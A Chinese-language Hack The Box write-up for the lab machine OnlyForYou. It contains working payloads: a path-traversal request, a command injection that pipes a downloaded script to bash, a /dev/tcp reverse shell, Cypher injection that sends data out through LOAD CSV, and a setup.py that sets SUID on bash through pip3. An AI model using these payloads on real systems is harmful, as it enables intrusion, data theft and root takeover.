HTB靶场之OnlyForYou
准备:
攻击机:虚拟机kali。
靶机:OnlyForYou,htb网站:https://www.hackthebox.com/,靶机地址:https://app.hackthebox.com/machines/OnlyForYou。
知识点:DNS解析、代码审计、文件包含、shell反弹、frp端口转发、Neo4j注入漏洞、ngnix知识了解、md5解密、pip3 download提权。
简单的记录下通过的过程也是帮助自己梳理下整个流程:

一:信息收集
1.nmap扫描
使用nmap对端口进行扫描,命令:sudo nmap --min-rate 10000 -p- 10.10.11.210,显示开放了22端口、80端口,开启了ssh服务、http服务。

对具体的服务信息进行扫描,未发现可以利用的信息,命令:sudo nmap -sT -sV -O -p 22,80,443 10.10.11.210。

2.DNS解析
请求:http://10.10.11.210,访问下WEB服务,发现跳转到了http://only4you.htb/,因此我们需要进行下DNS解析,在/etc/hosts文件中写入:10.10.11.210 only4you.htb。

二:WEB信息分析
1.源码信息
在http://only4you.htb页面的TEAM处发现一个beta产品,访问该产品时跳转到了http://beta.only4you.htb/,因此重复DNS解析将其添加到/etc/hosts文件中。

该页面给我们提供了源码下载,将源码下载下来进行分析,发现对..与../进行了过滤,最后会返回image文件的内容,因此这里应该是存在文件包含漏洞。除了源码外还有resize、convert功能,前者是上传图片并调整大小,后者是jpg与png相互转换。

在http://beta.only4you.htb/页面抓取数据包修改请求方式为POST,修改后数据包信息如下,发送该数据包成功获得/etc/passwd文件的内容,发现可能存在账户john、neo4j、dev。
POST数据包
POST /download HTTP/1.1
Host: beta.only4you.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
image=/etc/passwd

2.文件包含漏洞
前面在nmap扫描时已经发现在80端口开启了nginx服务,因此我们读取下nginx的配置文件,发现三个文件和一个目录:/var/log/nginx/access.log、/var/log/nginx/error.log、/etc/nginx/conf.d/*.conf、/etc/nginx/sites-enabled/*。

依次查看下几个文件,/var/log/nginx/access.log文件中存放的是我们的访问日志,访问/var/log/nginx/error.log时未返回有用信息,/etc/nginx/conf.d/*.conf、/etc/nginx/sites-enabled/*会被拦截。后面查了下nginx配置,在/etc/nginx/sites-enabled/default文件中发现网站的绝对路径:/var/www/only4you.htb/。

尝试请求下网站目录下的文件:app.py,发现form文件,这里注意下:status = sendmessage(email, subject, message, ip)。

读取下form文件,发现存在一个run命令,执行了邮箱名称@之后的内容。因此这里应该是存在一个命令执行漏洞。


三:获取www-data权限shell
后面尝试进行命令执行发现返回信息一直是未授权,就又对源码分析了一波,发现是因为status返回值为1,返回值为1是因为对上面图片中返回的result验证未通过,后来思考了以下,虽然验证未通过但是既然返回了result那肯定是执行过命令了,因此我们尝试直接进行shell反弹。步骤如下:
1.在kali中写一个shell反弹文件shell.sh,内容:bash -i >& /dev/tcp/10.10.14.18/6688 0>&1。
2.在kali开启一个web服务,命令:python -m http.server。
3.在抓取的数据包中修改post数据为:name=upfine&email=q@qq.com;curl 10.10.14.18:8000/shell.sh | bash&subject=112345&message=1asdf,然后发送此请求,成功获得shell权限。

四:获取john权限shell
1.端口转发
在www-data权限的shell中经过一番查询只确定了账户名称:john、dev,未发现和密码有关的信息,然后在查询端口时发现存在几个开放的端口:3000、8001、3306、7474、7687等端口。

使用frp将这几个端口的流量转到到kali中,注意服务端与客户端不要用反了,靶机用的是客户端,可以参考我的这边文章:https://www.cnblogs.com/upfine/p/17266632.html。几个端口的访问情况依次如下:

2.Neo4j注入漏洞
在8001端口的登录框进行登录时发现使用:admin/admin可以成功登录。在该服务中的EMPLOYEES中发现存在搜索功能,猜测可能存在注入漏洞。

请求7474端口的时候未返回页面信息,但是frp中先是的信息已被占用,因此猜测应该是数据库类的服务在后端占用,观察请求页面,虽然未返回信息,但是标签上告诉了我们是neo4j。查了下neo4j的介绍,发现是一个高性能的NOSQL图形数据库,前面我们猜测正确。

那就找下neo4j的注入方法:https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j#common-cypher-injections。先尝试获取下版本号,发现确实存在注入漏洞。
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.14.18:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //

然后获取下表中的节点信息,语句:1' OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM 'http://10.10.14.18:8000/?label='+label as l RETURN 0 as _0 //,获得节点user、employee。

然后查询下user节点的值,语句:1' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.18:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //,获得两个加密的密码值:
#解密前
admin:8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
john:a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6
#解密后
8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918:admin
a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6:ThisIs4You


3.获取john权限shell
使用获得账户和密码:john/ThisIs4You进行ssh登录,成功获得shell权限并读取到第一个flag。

五:提权
查看下当前账户是否存在可以使用的特权命令,sudo -l,发现:/usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz,意思是允许john用户使用pip3 download 3000端口的压缩文件。

查找下该情况的提权方式,在这里:https://github.com/wunderwuzzi23/this_is_fine_wuzzi.git下载demo文件,然后修改setup.py文件,在该目录执行:python3 -m build,执行完之后会在生成一个dist目录,该目录下存在一个this_is_fine_wuzzi-0.0.1.tar.gz文件,即是我们需要的文件。
setup.py
import os
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info
def RunCommand():
os.system("chmod +s /bin/bash")
class RunEggInfoCommand(egg_info):
def run(self):
RunCommand()
egg_info.run(self)
class RunInstallCommand(install):
def run(self):
RunCommand()
install.run(self)
setup(
name = "this_is_fine_wuzzi",
version = "0.0.1",
license = "MIT",
packages=find_packages(),
cmdclass={
'install' : RunInstallCommand,
'egg_info': RunEggInfoCommand
},
)

使用john/ThisIs4You登录3000端口的Gogs服务进行查看,但是Test仓库显示是有锁的需要认证,那首先就需要对其进行解锁设置,然后将文件进行上传。


上传文件后切执行:sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Test/src/master/this_is_fine_wuzzi-0.0.1.tar.gz,然后执行bash -p即可获得root权限并在root目录下获取到flag值。

HTB靶场之OnlyForYou的更多相关文章
- 【HTB靶场系列】靶机Carrier的渗透测试
出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...
- [红日安全]Web安全Day1 - SQL注入实战攻防
本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...
- [红日安全]Web安全Day2 - XSS跨站实战攻防
本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...
- [红日安全]Web安全Day3 - CSRF实战攻防
本文由红日安全成员: Once 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字 ...
- [红日安全]Web安全Day4 - SSRF实战攻防
本文由红日安全成员: MisakiKata 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目 ...
- [红日安全]Web安全Day5 - 任意文件上传实战攻防
本文由红日安全成员: MisakiKata 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目 ...
- [红日安全]Web安全Day8 - XXE实战攻防
本文由红日安全成员: ruanruan 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了 ...
- [红日安全]Web安全Day9 - 文件下载漏洞实战攻防
本文由红日安全成员: Once 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字 ...
- [红日安全]Web安全Day12 – 会话安全实战攻防
本文由红日安全成员: ruanruan 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了 ...
- 【HTB系列】靶机Access的渗透测试详解
出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...
随机推荐
- Rainbond 结合 Jpom 实现云原生 & 本地一体化项目管理
Jpom 是一个简而轻的低侵入式在线构建.自动部署.日常运维.项目运维监控软件.提供了: 节点管理:集群节点,统一管理多节点的项目,实现快速一键分发项目文件 项目管理:创建.启动.停止.实时查看项目控 ...
- 04-webpack初体验
/** * index.js: webpack入口起点文件 * * 1.运行指令: * 开发环境:webpack ./src/index.js -o ./build --mode=developmen ...
- jQuery 在图片和文字中插入内容(多种情况考虑)
昨天接到一个新的需要,在后台文章编辑器中,每一个文章的正文前面,可以单独添加一个电头字段,但是如果在富文本编辑器中最上面就添加图片的话,图片就会把电头和正文中的文字给隔开.需要做的是获取到电头字段,然 ...
- 谁想和我一起做低代码平台!一个可以提升技术,让简历装x的项目
序言 正如文章标题所述,最近一段时间低代码这个概念非常的火,但其实在不了解这个东西的时候觉得它真的很炫酷,从那时就萌生了做一个低代码平台的想法. 但随着时间的变化,现在市面上低代码各个业务方向的平台都 ...
- 文心一言 VS chatgpt (16)-- 算法导论4.1 1~2题
一.当A的所有元素均为负数时,FIND-MAXIMUM-SUBARRAY返回什么? 文心一言: 当A的所有元素均为负数时,FIND-MAXIMUM-SUBARRAY返回-1. 这是因为在二进制中,当所 ...
- 2021-08-03:完美洗牌问题。给定一个长度为偶数的数组arr,假设长度为N*2,左部分:arr[L1……Ln],右部分: arr[R1……Rn],请把arr调整成arr[L1,R1,L2,R2,
2021-08-03:完美洗牌问题.给定一个长度为偶数的数组arr,假设长度为N*2,左部分:arr[L1--Ln],右部分: arr[R1--Rn],请把arr调整成arr[L1,R1,L2,R2, ...
- Selenium - 浏览器配置(4) - 打开无痕浏览器
Selenium - 浏览器配置 无痕浏览器 开启谷歌浏览器的无痕浏览模式: from selenium import webdriver # 引入浏览器配置 chrome_options = web ...
- Django4全栈进阶之路12 render 函数和 redirect 函数
在 Django 中,你可以使用 render 函数来渲染模板并将其返回给客户端,也可以使用 redirect 函数来重定向到其他 URL. 在 Django 中,render 函数和 redirec ...
- dnu
背景 作为一个喜欢搬运 YouTube 视频的网友,我发现将视频下载下来再上传到 B 站十分繁琐,因此我决定开发一个小工具,能够方便快捷地将 YouTube 视频下载并上传至 B 站,以节省我的时间和 ...
- phpstudy-sqlilabs-less-3
题目:GET - Error based - Single quotes with twist 基于错误的单引号GET型变形注入 ?id=1 )and 1=2--+ ?id=1 "and 1 ...